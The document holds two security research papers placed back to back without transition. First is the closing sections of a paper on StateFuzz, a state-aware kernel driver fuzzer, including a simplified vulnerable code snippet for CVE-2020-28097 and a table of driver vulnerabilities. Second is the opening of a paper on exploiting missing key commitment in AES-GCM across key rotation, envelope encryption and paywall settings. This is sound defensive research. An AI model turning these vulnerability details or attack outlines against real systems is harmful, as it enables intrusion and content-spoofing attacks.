accumulate the count of vulnerabilities together. We use the
same time budgets as mentioned in Section 5.1. The result is
shown in Figure 5. In this experiment, StateFuzz discovers
19 of 20 reported vulnerabilities, 46% more than Syzkaller-
D. Specifically, StateFuzz discovers all 7 vulnerabilities in
Linux-4.19, where HFL-D discovers 6, and StateFuzz dis-
covers 12 vulnerabilities in the MSM kernel. The only missing
vulnerability (the out-of-bounds writing in MSM diagnostic
driver) is also not found by Syzkaller-D in this experiment.
Besides, StateFuzz discovers all 13 vulnerabilities found
by Syzkaller-D and HFL-D in this experiment, showing that
StateFuzz is effective at discovering vulnerabilities.

We further investigate the 5 vulnerabilities only discovered
by StateFuzz in MSM-4.14. Out of these 5 vulnerabilities,
4 vulnerable code pieces are discovered by both StateFuzz
and Syzkaller-D. It demonstrates that StateFuzz can better
discover program states to trigger vulnerabilities after discov-
ering vulnerable code. HFL relies on the emulator and fails
to test MSM-4.14 on the phone.

5.6 How do different feedback dimensions af-
fect StateFuzz’s performance? (RQ5)

To understand how StateFuzz works and evaluate the contri-
bution of each feedback dimension, we compile three variants
of StateFuzz by disabling each feature. Then we perform
fuzzing campaigns in the Linux-4.19 kernel with variants.
We only enable the code coverage feedback to implement
a baseline variant named "C". The variant C-R enables the
feedback dimension of value-range tracking and code cover-
age. Another variant C-E enables the feedback dimension of
extremum tracking along with code coverage, while our com-
plete approach C-R-E enables all three feedback dimensions.

Figure 6 demonstrates both extremum tracking and value-
range tracking can contribute to code coverage. C-E achieves
9% higher code edge coverage than baseline C, and C-R
achieves 10% higher. C-R-E achieves the highest growth
of 17%, which means that the three feedback dimensions

C C-E C-R C-R-E
0
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20000
25000
30000
35000
40000
45000
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109% 110%
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116%
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Figure 6: The number of discovered code edges and value-
range edges for the Linux-4.19 kernel. C is the baseline with
enabling only code coverage; C-E enables the extremum di-
mension along with code coverage; C-R enables the value-
range dimension and code coverage; C-R-E indicates the
variant that enables all three feedback dimensions.

1 // global variable, controlled by user through ioctl TIOCLINUX
2 static int s_delta;
3 // the parameter "lines" is equal to s_delta
4 static void vgacon_scrolldelta(struct vc_data *c, int lines) {
5 int start, end, count, soff;
6 ...
7 v_cur->restore = 0;
8 start = v_cur->cur + lines;
9 ...

10 if (start > v_cur->cnt)
11 start = v_cur->cnt;
12 ...
13 if (end > v_cur->cnt)
14 end = v_cur->cnt;
15 v_cur->cur = start;
16 count = end - start;
17 soff = v_cur->tail - ((v_cur->cnt - end) * c->vc_size_row);
18 soff -= count * c->vc_size_row;
19 if (soff < 0)
20 soff += v_cur->size;
21 ...
22 // out of bounds read when soff < 0
23 memcpy(d, v_cur->data + soff, copysize);

Listing 2: A simplified code snippet of CVE-2020-28097

could promote each other in discovering more code. Figure 6
also demonstrates that C-R discovers 47% more value-range
edges than baseline C, while C-E discovers only 16% more.
Compared to C-R, the value-range edge coverage of C-R-
E barely increases even with enabling additional extremum
tracking. This experiment shows that value-range tracking
contributes the most to increasing value-range edge coverage.

5.7 Case Study: CVE-2020-28097

Listing 2 demonstrates a simplified out-of-bound mem-
ory read vulnerability in the VGA console driver, which is
only discovered by StateFuzz. The variable s_delta is a
global variable which represents the scroll state of vga console.
s_delta and struct v_cur can be controlled by user through
ioctl, and the value of s_delta will be copied to the parame-
ter lines of function vgacon_scrolldelta. The root cause
of this vulnerability is that the offset soff of memcpy’s source
buffer can be negative, leading to an out-of-bounds memory
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Table 7: Vulnerabilities found by StateFuzz. Status Con f irmedB indicates that the vulnerability has been confirmed and
assigned a bug bounty reward by the vendor. Status Con f irmed∗ means that the vulnerability has been found by developers
internally, but the patch was not released or merged when we reported the vulnerability. Function and file names of non-fixed
vulnerabilities are hidden for security concerns.

Kernel File Function Vulnerability Type Status CVE ID

1

Linux-4.19

drivers/input/keyboard/sunkbd.c sunkbd_reinit Use-after-free Confirmed & Fixed CVE-2020-25669
2 drivers/staging/speakup/spk_ttyio.c spk_ttyio_ldisc_close Null-pointer Dereference Confirmed & Fixed CVE-2020-28941
3 drivers/staging/speakup/spk_ttyio.c spk_ttyio_receive_buf2 Null-pointer Dereference Confirmed & Fixed CVE-2020-27830
4 drivers/video/console/vgacon.c vgacon_scrolldelta Out-of-bounds Read Confirmed & Fixed CVE-2020-28097
5 drivers/md/dm-ioctl.c list_devices Out-of-bounds Write Confirmed & Fixed CVE-2021-31916
6 drivers/bluetooth/ Use-after-free Reported
7 drivers/tty/vt/ Deadlock Confirmed
8

MSM-4.14

drivers/mfd/adnc/iaxxx-module.c iaxxx_core_sensor_change_state Out-of-bounds Read Con f irmedB & Fixed CVE-2021-0461
9 drivers/platform/msm/ipa/ipa_v3/ipa_utils.c ipa3_counter_remove_hdl Out-of-bounds Read Confirmed & Fixed CVE-2021-30265

10 drivers/char/diag/diag_pcie.c diag_pcie_write Out-of-bounds Write Con f irmedB & Fixed CVE-2021-30298
11 drivers/char/diag/diag_dci.c diag_send_dci_pkt_remote Out-of-bounds Write Con f irmedB & Fixed CVE-2021-30324
12 drivers/char/diag/diag_dci.c extract_dci_pkt_rsp Out-of-bounds Write Con f irmedB & Fixed CVE-2021-30325
13 drivers/mfd/adnc/iaxxx-btp.c iaxxx_btp_write_words Out-of-bounds Read Con f irmedB & Fixed CVE-2021-39717
14 drivers/misc/faceauth_hypx.c hypx_create_blob_dmabuf Use-after-free Con f irmedB & Fixed CVE-2022-20183
15 drivers/misc/ipu/ipu-core-jqs-msg-transport.c ipu_core_jqs_msg_transport_kernel_write_sync Use-after-free Con f irmedB & Fixed CVE-2022-20155
16 drivers/mfd/abc-pcie.c abc_pcie_enter_el2_handler Use-after-free Con f irmedB & Fixed CVE-2022-20185
17 drivers/nfc/ Use-after-free Con f irmedB

18 drivers/char/diag/ Out-of-bounds Read Confirmed
19 drivers/platform/msm/ipa/ipa_v3/ipa_odl.c ipa3_replenish_rx_cache User-after-free Con f irmed∗ & Fixed
20 drivers/char/adsprpc.c get_args Null-pointer Dereference Con f irmed∗ & Fixed

read from a negative offset at Line 23. When the value of
s_delta is set to a small negative number and v_cur->cnt
is set to a large positive number, soff will be a negative
integer after a series of computations.

We observe that Syzkaller-D can easily cover all the rele-
vant code with the guidance of code coverage feedback. But
Syzkaller-D fails to find a proper test case to trigger this vul-
nerability, since the probability of setting these two variables
to proper values is quite low. However, StateFuzz success-
fully identifies the variable s_delta as a state-variable, and
preserves the seed which hits the negative value range of
s_delta for future mutation. As a result, StateFuzz has
more chances to execute the vulnerable code with a program
state in which s_delta is negative and thus can trigger this
vulnerability much easier. In all 3 of our 48-hour experiments,
according to our log, on average StateFuzz enters this spe-
cial state (i.e., s_delta is negative) for 5400 times, while
Syzkaller-D only enters this state for 16 times. It implies that
StateFuzz can guide fuzzer to explore different program
states and discover potential vulnerabilities.

6 Related Work
State Model Building State models have been widely stud-
ied in research about network protocols. Recent work builds
the protocol state model based on network traffic or dynamic
taint analysis [13, 23, 24]. In addition, recent works also uti-
lized state protocol fuzzing to infer TLS/DTLS protocol state
models for verifying whether the implementation of a protocol
is secure [7,11,17,21,42]. Ferry [54] dynamically recognizes
those variables that determine condition branches and are
influenced by inputs as state-describing variables. Compared
to StateFuzz, Ferry focuses on exploring state-related code
branches, while StateFuzz tries to explore more value ranges

of state-related variables during fuzzing. Besides, these meth-
ods based on dynamic analysis are limited by completeness.
State-aware Fuzzing Memlock [48] uses the extremum
value of the program’s allocated memory size as an additional
feedback dimension for grey-box fuzzing to discover mem-
ory leaks. But Memlock ignores the non-extremum value
ranges and can not track fine-grained states inside programs.
IJON [4] proposed an annotation mechanism involving human
analysis to guide the fuzzer to learn the program’s internal
state and track specific variables. However, since annotation
requires prior knowledge about the target program, it con-
sumes additional manual efforts. Instead, InvsCov [19] tracks
all variables if they are involved in memory access instructions
or if they represent return values. Then InvsCov infers im-
mutable boundaries for tracked variables by detecting invari-
ants from traces of pre-acquired corpus, and send additional
feedback when tracked variables violate these boundaries.
StateFuzz recognizes state-variables more accurately by us-
ing static analysis to mine programs’ semantic information.
StateFuzz does not need any corpus, and StateFuzz can
update the boundaries via our extremum feedback mechanism
as the exploration advances.

In state-aware protocol fuzzing, AFLNet [38] and SGP-
Fuzz [52] identified states based on response codes in network
packets to achieve state-aware fuzzing. RESTler [5] infers
execution states of inputs according to the response code of
REST API. However, response code is not common and not
available in most scenarios. StateAFL [32] proposes to use
locality-sensitive hashing on runtime memory to represent
program states in protocol fuzzing. It utilizes expensive post-
execution analysis to maintain the map between memory and
states during fuzzing, thus reducing the fuzzing efficiency.
KiF [2], SNOOZE [6] and these open-source tools [3, 35, 37]
require prior knowledge of the protocol state model to per-
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form stateful fuzzing, leading to a lack of scalability. Mobile
device fuzzer Vulcan [50] needs to collect application logs
to build an explicit state machine. StateFuzz can track pro-
gram states in a lightweight way and does not rely on response
codes or prior knowledge.

Linux kernel and driver fuzzing Syzkaller [27] is an en-
gine deployed by google for fuzzing kernel with system calls.
Developers manually added a bunch of system call templates
for Linux drivers. DIFUZE [14] focuses on automatically
extracting ioctl entry points, corresponding structures, and
device names for Linux driver fuzzing. Ex-vivo [39] extracts
ioctl entries and implements a kernel to fuzz Android drivers
without real devices. Periscope [43] and USBFuzz [36] are
fuzzers aiming to fuzz Linux drivers by executing test cases
from the hardware side. Unlike StateFuzz, Periscope and
USBFuzz inject inputs through configuration files or multiple
I/O channels such as MMIO and DMA, rather than system
calls. Charm [45] proposed a system solution for running
device drivers of mobile systems in a virtual machine to en-
able existing analysis solutions, such as fuzzing. NTFuzz [12]
performs static binary analysis to infer system call types for
system call-based Windows kernel fuzzing. IMF [25] aims
to infer explicit input dependencies between system calls
by tracking system call traces on MacOS. MoonShine [34]
focuses on retrieving the dependencies of system calls by
statically analyzing the parameters and accessing global vari-
ables. SyzVegas [46] dynamically and automatically adapts
Syzkaller’s task scheduling along with seed selection to im-
prove code coverage by leveraging multi-armed-bandit algo-
rithms and a novel reward assessment model. HFL [29] is
a hybrid kernel fuzzer based on Syzkaller, and HFL infers
dependencies of system calls with dynamic symbolic execu-
tion. However, they all lack further analysis of program states
Krace [49] utilized a two-dimension coverage mechanism to
fuzz the Linux file system for concurrency bugs.

7 Discussion

7.1 Performance Impact of Pre-analysis

To better guide fuzzing, it is a common practice to perform
pre-analysis to extract useful knowledge before fuzzing [9,
14, 33, 34, 47]. Although the pre-analysis (i.e., state model
building by StateFuzz) introduces time cost, we believe the
performance impact to fuzzing is negligible for two reasons.
First, StateFuzz only needs to perform pre-analysis once for
one target kernel, and the results are saved as files and can
be reused by further fuzzing. Second, fuzzing campaigns usu-
ally last for days or even months, especially in kernel-space
fuzzing. As fuzzing campaigns last longer, the computing
resource spent on pre-analysis becomes less significant. In
summary, we believe that such a pre-analysis is meaningful
for improving fuzzing and the overhead is acceptable.

7.2 Effects of Static Analysis Accuracy
StateFuzz’s performance can be affected by the accuracy
of the static analysis. Specifically, program action recogni-
tion and state-variable recognition are key factors in con-
ducting state-aware fuzzing, and program action recognition
dominates the range of the state-variable recognition. False
negatives of state-variables lead to poor feedback about pro-
gram states during fuzzing, thus reducing the performance
contributed by the value-range dimension and the extremum
dimension. False positives of state-variables cause many use-
less test cases to fill up the seed corpus, wasting computing
resources. Since we mark state-variables with types or names
rather than specific pointers, we do not differ pointers with
the same types. Such a conservative way benefits two aspects.
First, it avoids many false negatives caused by imprecise
pointer analysis. Second, value-ranges from different source
code files are merged according to state-variables’ types or
names, avoiding the false negatives caused by intra-module
analysis’s limited range. Similar to state-variable recogni-
tion, false positives caused by intra-module analysis and alias
analysis also lead to many useless test cases and a waste of
computing resources.

7.3 Limitations and Future Work
Soundness and Completeness. Thanks to the fast execu-
tion, fuzzing can tolerate some false positives caused by the
program state recognition. We believe that the complete-
ness is more worthy of consideration since the number of
StateFuzz’s recognized state-variables is insignificant. In
the future, we will work to address the issues of incomplete
linkage and wrapper function identification.

Fuzzing other targets. The prototype of StateFuzz
mostly focuses on system call-based Linux driver fuzzing.
On the one hand, Linux drivers are stateful, and most of them
interact with user space in the same manner (i.e., through sys-
tem calls). Besides, the fuzzing framework Syzkaller can be
utilized to quickly implement a prototype of our approach. On
the other hand, for targets like network protocols, few handy
fuzzing frameworks can provide feedback transmission and
synchronize stages between client and server. We believe the
effort of building such a framework is orthogonal to our work.

Some Linux drivers (such as USB) could interact with
users through multiple I/O channels rather than system calls.
StateFuzz should be extended to recognize the program ac-
tions, which do not follow conventions of system calls. Specif-
ically, we can trace the value-flow of inputs by lightweight
instrumentation to dynamically find the entry functions that
handle our inputs.
StateFuzz is applicable to fuzz programs supporting se-

quential interaction events (e.g., network protocols, system
calls, GUI message loops, event loops, smart contracts in the
blockchain). For instance, vulnerabilities in smart contracts in
general rely on a sequence of interactions to trigger. Each invo-
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cation to the smart contract will change certain states, which
eventually leads the contract to a vulnerable state. StateFuzz
could recognize such critical states and interfaces that can al-
ter the states, which guides the fuzzer to efficiently discover
vulnerabilities in them.

8 Conclusion
In this paper, we assessed the limitation of coverage-guided
fuzzing solutions, and proposed a state-aware fuzzing solu-
tion StateFuzz. It utilizes static analysis to recognize shared
variables that are accessed by multiple program actions, and
use them as state-variables to characterize program states.
By tracing values of state-variables and using a combination
of two state-variables as feedback, StateFuzz can explore
states efficiently during fuzzing while increasing code cov-
erage. We implemented a prototype of StateFuzz for Linux
and Android driver testing. It has discovered 20 vulnerabili-
ties in Linux upstream drivers and Android drivers. Moreover,
StateFuzz can achieve higher code coverage and state cov-
erage than existing driver fuzzing approaches.
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A Appendix

A.1 Design choices of state-variable pairs
Like code-coverage-guided fuzzing, we mainly consider the
trade-off between sensitivity and size of the seed corpus to
choose what combination to track. Specifically, if we track
the combination of all state-variables, due to too many seeds
being preserved, maintaining a seed corpus can be expensive,
and most seeds have a slight chance of being selected. On
the other hand, tracking only one state-variable would miss
many potential states for the coarse-grained feedback. We
conduct a 48-hour fuzzing experiment in the Linux-4.19 ker-
nel to evaluate the performance of StateFuzz with a different
granularity of value-range feedback. Table 8 demonstrates
that the fuzzing process achieves the highest code coverage
and finds the most value ranges when tracking combinations
of two relevant state-variables (i.e., state-variable pairs). The
result also shows that the number of seeds in the corpus grows
rapidly as the feedback granularity becomes finer. It is not
feasible to track combinations of all state-variables due to
corpus explosion.

A.2 Values of Pr and Pc

To evaluate the effects of different Pr and Pc utilized in Algo-
rithm 2, we conduct an extra 48-hour fuzzing experiment in
the Linux-4.19 kernel. First, we consider the situation where
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Table 8: Results of fuzzing with tracking different combina-
tion types of relevant state-variables.

Combination # Code Edge # Value Range # Seed in Corpus

Monuple 41563 3282 6339
Pair 44359 3439 10808

Triple 41793 3252 29075
Quadruple 32450 2799 38604

Pr
#Code Edge (σ=1.2%) #Value-range Edge (σ=1.6%)

Pc=2 Pc=3 Pc=4 Pc=5 Pc=2 Pc=3 Pc=4 Pc=5
2 99.1% 97.2% 101.5% 97.9% 99.2% 97.7% 99.1% 98.9%
3 98.1% 100.0% 99.5% 97.8% 96.8% 100.0% 98.4% 98.6%
4 99.8% 97.0% 98.6% 99.5% 96.5% 95.5% 98.6% 98.1%
5 98.8% 99.2% 96.8% 99.5% 99.5% 96.4% 94.1% 97.4%

Figure 7: The number of code edges and value-range edges
discovered by StateFuzz in the Linux-4.19 kernel when Pr
and Pc traverse the range from 2 to 5. To better demonstrate
the degree of change, we convert all numbers to percentages of
the case where Pr=3 and Pc=3. The standard deviation of code
edges is 1.2% and of value-range edges is 1.6%, which means
that the performance of StateFuzz is close when using these
configurations.

the first two tiers of the corpus are selected with similar high
probabilities. We set Pr and Pc to be the integers ranging from
2 to 5, respectively. As shown in Figure 7, the performance
of StateFuzz is close in these cases.

Second, we make the first two tiers of the corpus have
a much smaller probability of being selected (e.g., 1/100),
respectively. The result in Figure 8 shows the performance of
StateFuzz declines significantly compared to the case where
Pr and Pc are integers ranging from 2 to 5. Based on the above
results, we naively apply the configuration of Pr=3 and Pc=3,
with which StateFuzz performs well in both discovering
code edges and value-range edges. As for how to find the
optimal values for Pr and Pc (i.e., how to assign energy to the
three tiers of corpus), we believe this is an interesting topic
worthy of further study, and we leave it to future work.

A.3 Fuzzing the motivation example driver
We fuzz the motivation example driver mentioned in Section
2.2 with both Syzkaller and StateFuzz. In these fuzzing
campaigns, we replace all system call templates of the fuzzers
with our manually written templates shown in Listing 3, to
help the fuzzers dispatch all program actions of the example
driver. The code coverage trend of Syzkaller is shown in
Figure 9). It takes Syzkaller 13 hours to find the first crash.

And it still takes Syzkaller 4 hours to trigger the crash after
discovering all relevant code. However, StateFuzz triggers
the first crash in less than 5 minutes in our experiments.
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Figure 8: Either the number of code edges or the number of
value-range edges discovered by StateFuzz declines signifi-
cantly when Pr=100 or Pc=100.

1 syz_open_dev$dev_scull(dev ptr64[in, string["/dev/scull"]], id
intptr, flags flags[open_flags]) fd_scull

2 ioctl$dev_scull_A(fd fd_scull, cmd const[0x41], arg ptr64[inout,
string])

3 ioctl$dev_scull_B(fd fd_scull, cmd const[0x42], arg ptr64[inout,
string])

4 ioctl$dev_scull_C(fd fd_scull, cmd const[0x43], arg ptr64[inout,
string])

5 ioctl$dev_scull_V(fd fd_scull, cmd const[0x56], arg ptr64[inout,
string])

Listing 3: System call templates for the example driver.
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Figure 9: It takes Syzkaller 13 hours to find the first crash
while fuzzing the motivation example driver. It is notable that
it takes Syzkaller 4 hours to trigger the crash after covering
all relevant code. Our solution StateFuzz triggers the out-
of-bounds vulnerability with only 30,000 test cases being
executed in less than 5 minutes.
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Abstract

Authenticated encryption (AE) is used in a wide variety of
applications, potentially in settings for which it was not orig-
inally designed. Recent research tries to understand what
happens when AE is not used as prescribed by its designers.
A question given relatively little attention is whether an AE
scheme guarantees “key commitment”: ciphertext should only
decrypt to a valid plaintext under the key used to generate the
ciphertext. Generally, AE schemes do not guarantee key com-
mitment as it is not part of AE’s design goal. Nevertheless,
one would not expect this seemingly obscure property to have
much impact on the security of actual products. In reality,
however, products do rely on key commitment. We discuss
three recent applications where missing key commitment is
exploitable in practice. We provide proof-of-concept attacks
via a tool that constructs AES-GCM ciphertext which can be
decrypted to two plaintexts valid under a wide variety of file
formats, such as PDF, Windows executables, and DICOM.
Finally we discuss two solutions to add key commitment to
AE schemes which have not been analyzed in the literature:
a generic approach that adds an explicit key commitment
scheme to the AE scheme, and a simple fix which works for
AE schemes like AES-GCM and ChaCha20Poly1305, but
requires separate analysis for each scheme.

1 Introduction

Authenticated Encryption. Symmetric-key encryption
(SKE) has been the source of many attacks over the years.
The main culprit is the use of malleable, unauthenticated
schemes like CBC, and their susceptibility to padding ora-
cle [Vau02] and related attacks. Such attacks are found as
frequently against systems designed in the 90’s as they are
today; recent research [FIM20] shows that CBC continues to
be an attack vector.

∗The full version of this work can be found at https://ia.cr/2020/
1456. This is an abridged version.

Beck et al. [BZG20] cite flaws in Apple iMessage,
OpenPGP, and PDF encryption as examples to argue that prac-
titioners are often only convinced that unauthenticated SKE
is insecure when they see a proof-of-concept exploit. Similar
efforts are deemed necessary to demonstrate the exploitability
of cryptographic algorithms such as SHA-1 [SBK+17].

The vast majority of applications should default to using
authenticated encryption (AE) [BN00, KY00], a well-studied
primitive which avoids the pitfalls of unauthenticated SKE
with relatively small performance overhead. AE schemes are
used in widely adopted protocols like TLS [Res18], standard-
ized by NIST [NIS07a,NIS07b] and ISO [ISO09], and are the
default SKE option in modern cryptographic libraries such as
NaCl [nac] and Tink [tin].

With AE more widely used, recent research focuses on
its security guarantees in settings which push the boundaries
and assumptions of conventional AE, such as understanding
nonces [RS06], multiple decryption errors [BDPS13], unver-
ified plaintext [ABL+14], side channel leakage [BMOS17],
multi-user attacks [BT16], boundary hiding [BDPS12],
streaming AE [HRRV15], and variable-length tags [RVV16].
Furthermore, constructions and security models have received
additional scrutiny due to two recent competitions focusing
on AE: CAESAR [CAE14] and the NIST lightweight cryp-
tography competition [nis].

Key Commitment. Among the extended, desirable prop-
erties explored is the relatively little-studied idea of AE key
commitment, which we intuitively explain as follows.

One of the defining design goals of AE is ciphertext in-
tegrity: if recipient A decrypts a ciphertext with the key KA
into a valid plaintext, meaning authentication succeeds, then
A knows that the ciphertext has not been modified during
transmission. Intuitively, one might mistakenly extend that
integrity guarantee to keys, i.e., if some other recipient B
decrypts the same ciphertext with their key KB, then decryp-
tion would fail. However, this is neither an AE design goal,
nor a guaranteed property, and there are secure and globally
deployed AE schemes where both recipients can successfully
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decrypt the same ciphertext.
Key commitment guarantees that a ciphertext C can only be

decrypted under the same key used to produce C from some
plaintext. Schemes where it is possible to find a ciphertext
which decrypts to valid plaintexts under two different keys do
not commit to the key.

Initially studied and formalized for AE by Farshim et
al. [FOR17] under the name “robustness”, key commit-
ment might seem like an academic pursuit. Yet Dodis et
al. [DGRW18] and Grubbs et al. [GLR17a] show how to
exploit AE schemes which do not commit to the key in the
context of abuse reporting in Facebook Messenger. Never-
theless, AE key commitment has not received much attention
and the concept can be overlooked during deployment.

1.1 Contributions
Facebook Messenger might seem like a niche use of AE
which implicitly relies on key commitment, and was
exploitable. However, we show that is not the case. We
conduct a thorough study of AE key commitment.

Exploration of vulnerable settings or products:
We found three settings in the past year: key rotation in key
management services, envelope encryption, and Subscribe
with Google [Albb] (see Section 2). In concurrent work, Len
et al. [LGR] found another. We expect there to be more.

Study of practical ways to exploit lack of key commitment:
We introduce new key commitment attacks against standard-
ized AE schemes, such as AES-GCM-SIV and OCB, to
complement the known attack against AES-GCM. These
cryptographic attacks place restrictions on adversarially
generated plaintext and ciphertext (see Section 3.4), thereby
preventing their direct application to real-world settings.
To turn the cryptographic attacks into practical ones, one
can create binary polyglots, files which are valid in two
different file formats. Whereas Dodis et al. [DGRW18]
demonstrate binary polyglots for JPEG and BMP, we
perform an extensive study of over 40 formats, extracting
common characteristics and properties of these file formats
which enable the creation of polyglots; we demonstrate
practicality by creating a tool1 to mix files of specific file
formats, then tries to combine the input contents following
various layouts, resulting in working binary polyglots made
of more than 250 format combinations (see Section 4).
Combined with another tool we made, we demonstrate how to
efficiently turn the binary polyglot into AES-GCM ciphertext.

Simple and efficient ways to add key commitment to AE
schemes:
Farshim et al. [FOR17], Grubbs et al. [GLR17a], and Dodis et
al. [DGRW18] present both generic and optimized encryption

1https://github.com/corkami/mitra

algorithms which include key commitment. However, none
achieve the efficiency of AES-GCM, and require changes to
the cryptographic algorithms used2.

We propose simple solutions which have not been ana-
lyzed in the literature — amounting to black-box use of the
AE schemes, with one additional block output — and ana-
lyze their security. One solution simply prepends a constant
block of all zero’s to the plaintext and encrypts the padded
plaintext as normal; decryption looks for the presence of a
leading block of zero’s to verify the correct key was used
(similarly, Krawczyk [Kra19, Section 3.1.1], too, proposed
padding the last block in GCM). This padding solution does
not necessarily work for any AE scheme and must be ana-
lyzed on a case-by-case basis, which we do for AES-GCM
and ChaCha20Poly1305.

Another solution applies a generic composition to any
given AE: the scheme’s key is first used to derive a key
commitment string and an encryption key; the encryption key
is then used in the underlying AE scheme; the scheme outputs
the ciphertext and the commitment string.

An instantiation of our generic composition is already pub-
licly deployed as part of the latest version (2.0) of the AWS
Encryption SDK [AWSa], an open source client-side encryp-
tion library. Key commitment is included in its default con-
figuration. More details can be found in [Tri].

1.2 How to choose a fix

If your setting cannot tolerate ciphertext expansion, or needs
a compact commitment, that is, where just a substring of
the ciphertext (like the tag) must suffice to prevent key
commitment attacks, then you must rely on prior solutions
such as those proposed by Farshim et al. [FOR17], Grubbs et
al. [GLR17a], and Dodis et al. [DGRW18]. Such compact
commitments could also be useful to produce compact audit
trails, where just the tag of a ciphertext is stored instead of
the full ciphertext.

If your setting can tolerate a small amount of ciphertext ex-
pansion and does not need a compact commitment, then:

1. If you are using AES-GCM or ChaCha20+Poly1305 and
cannot easily change algorithms or need a quick fix, use the
padding fix (Section 5.3) and prepend 2κ zeroes for κ bits of
security against key commitment attacks, e.g. 256 zeroes for
128 bits of security. For short-lived ciphertexts, or settings
where the cost of executing 264 computation outweighs the
benefit of performing the attack, it suffices to use a single
block to achieve only 64 bit key commitment security — this
will not impact AE security.

2In fact, as explained by Dodis et al. [DGRW18], performance was
the primary reason Facebook Messenger used AES-GCM for attachments,
making Facebook Messenger vulnerable to attack, despite the fact that Grubbs
et al. [GLR17a] had already proposed secure alternatives.
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2. Otherwise use our generic solution which works with any
AE scheme. We give a sample instantiation in Section 5.4
and in the full paper [ADG+20] achieving 128-bit security.

2 Real-World Settings

We highlight real-world scenarios where lack of AE key com-
mitment could lead to vulnerabilities. These attacks do not
break any properties of the underlying AE scheme, but rely
on the fact that their applications implicitly assume that the
schemes are key committing. We found vulnerabilities in
real-world applications (see CVE-2020-8897) and this led to
changes to widely used products like the AWS encryption
SDK [Tri] and Subscribe with Google [Albb].

Key Rotation. A key management service (KMS) creates,
removes, controls access to, and audits use of cryptographic
keys. In such a service users typically identify and access
cryptographic keys through URIs. An important feature of
KMS’s is key rotation, where keys are updated to limit the
amount of data encrypted under a single key and reduce dam-
age in case of a compromise.

After key rotation, the old key should still be available to
decrypt old ciphertext but not be used to encrypt new data.
Therefore different versions of a key exist simultaneously and
there must be some mechanism to decide which key is used for
encryption and decryption. If the AE used for encrypting the
data is not committing to a key, then this could be exploited
by an attacker. A user might assume that a ciphertext will
decrypt to the same plaintext, independent of key rotations
happening, which might not be the case in practice.

The scenario we are interested in here is, multiple users
are accessing a key through a URI. One of the users is mali-
cious and wants to distribute e.g., a malicious file and the AE
scheme used is AES-GCM. The attacker proceeds as follows.
First, create two keys K1,K2 and produce a ciphertext C which
decrypts to a “good” file M under K1 and to a “bad” file M′

under K2. Next, import K1 into the KMS and send everyone
the ciphertext C which they can store and decrypt to M when
needed. At a later point in time, the adversary imports K2 to
the KMS.

Now at this stage the question arises which key will be
used to decrypt C if a user calls the KMS API with the key
URI. The KMS might choose the right decryption key in one
of the following ways:

1. By adding metadata to the ciphertext to identify the key.
If the metadata is ensured to be authentic and bound to the
ciphertext, K1 will be used to decrypt C.

2. By trying out the keys until one successfully decrypts,
starting with oldest version. In this case K1 would successfully
decrypt and reveal M.

3. By trying out the keys until one successfully decrypts, start-
ing with newest version. In this case K2 would successfully
decrypt and reveal the malicious file M′.

4. By allowing the user to select the key version used to
decrypt.

Note that if the adversary may delete or disable old key
versions, a solution relying on (2) can still cause a decryption
of C to the malicious file M′. This gives the adversary a
simple trigger to enable/disable when the ciphertext should
be decrypted to harmful content. The user will not detect that
a different key was used, as the decryption is authentic.

Envelope Encryption. Envelope encryption is the term
used by cloud service providers to describe the process where
data is encrypted with a symmetric key, which in turn is en-
crypted under multiple symmetric or asymmetric recipient
keys (i.e. a KEM). All major cloud service providers use
envelope encryption, and typically use an AE scheme like
AES-GCM for the symmetric encryption; see for example
AWS [awsb] and Google Cloud [goo].

Envelope encryption users often — intuitively — expect
that if the recipients receive the same ciphertext, then all will
decrypt to the same plaintext. However this expectation is
false: cloud services without key commitment can fall victim
to attacks, where the same ciphertext will decrypt to different
plaintexts under different keys. The AWS encryption SDK
was vulnerable to this and as a result added the option for a
key commitment [Tri].

The encryption of a message for two users can be summa-
rized as follows. First, a random data encryption key KDEK is
generated and wrapped by the two users’ keys which are pro-
vided through the encrypt API. Next, a per-message AES-
GCM key K is derived using HKDF from KDEK, a randomly
generated message ID and fixed algorithm ID. A header
is formed from the wrapped keys, the encryption context
and other metadata. The header is authenticated using AES-
GMAC with K and zero IV. The message M is then encrypted
using AES-GCM with K, non-zero IV and fixed associated
data. In the end this gives us a ciphertext which consists of a
header H, header tag HT , encrypted message C and authen-
tication tag T . To decrypt, the SDK loops over the wrapped
keys and returns the first one which it can successfully un-
wrap, which is then used to decrypt the ciphertext and obtain
the message.

An attacker which wants to send different messages M,M′

to two recipients, can do so by exploiting the lack of key com-
mitment in GCM/GMAC. The attacker generates a random
pair of (KDEK,K′DEK), derives (K,K′) and encrypts (M,M′)
such that they form a single ciphertext C with a single valid
authentication tag T (see Section 3.4 for details). The attacker
then wraps KDEK for one user and K′DEK for the other user.
At last there is still the header H and tag HT which need to
be valid. For this we can use the same approach as for the
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ciphertext encryption, as GMAC is used for authentication.
The encryption context can be used as an additional block and
allows to correct the authentication tag, such that it is valid
for both K and K′.

Subscribe with Google [Albb]. SwG is a service which
allows users to subscribe to publications using Google ac-
counts. Users pay to access “premium” content. Paying users
see the content immediately, while others might see a preview,
or nothing. Either the publisher or third party authorizers
give users access to the premium content; examples of third
party authorizers include a search indexer, content distribution
network, or a third-party paywall service.

Publishers include both premium and preview content in a
single document, with the premium content encrypted [Cry].
To do so, the publisher creates a random symmetric key, the
document key, and a structure that includes the document key
with access requirements, the document crypt. The document
key encrypts the premium content using an AE scheme, and
the document crypt is encrypted under the authorizers’ pub-
lic keys. The encrypted document crypts are placed in the
document’s header.

Whenever a client requests authorization, the authorizer
decrypts the document crypt and checks the access require-
ments. If a client may access the premium content, then the
document key is used to decrypt the content.

Analogous to the envelope encryption setting, if the AE
scheme used to encrypt the premium content with the docu-
ment key does not include a key commitment, then malicious
publishers can display different contents to different authoriz-
ers: prepare multiple document keys and a ciphertext which
decrypts to different plaintexts under those keys; place the
different document keys in different document crypts; when
an authorizer decrypts its document crypt, it will receive its
own document key, and therefore will see its own view of the
decrypted premium content.

Initially, SwG was designed to use an AE scheme which
did not have a key commitment. This issue was caught before
launch and fixed by including a key commitment.

3 Authenticated Encryption and Key Commit-
ment

3.1 Notation and Concepts

The set of strings of length not greater than x bits is {0,1}≤x,
and the set of strings of arbitrary length is {0,1}∗. Unless
specified otherwise, all sets are subsets of {0,1}∗. If X ,Y ∈
{0,1}∗, then |X | is the length of X , and X ‖ Y and XY denote
the concatenation of X and Y .

An adversary A is an algorithm which interacts with an
oracle O. Let AO = 1 be the event that A outputs 1 when

interacting with O, then define

∆
A
( f ; g) :=

∣∣P[A f = 1
]
−P

[
Ag = 1

]∣∣ , (1)

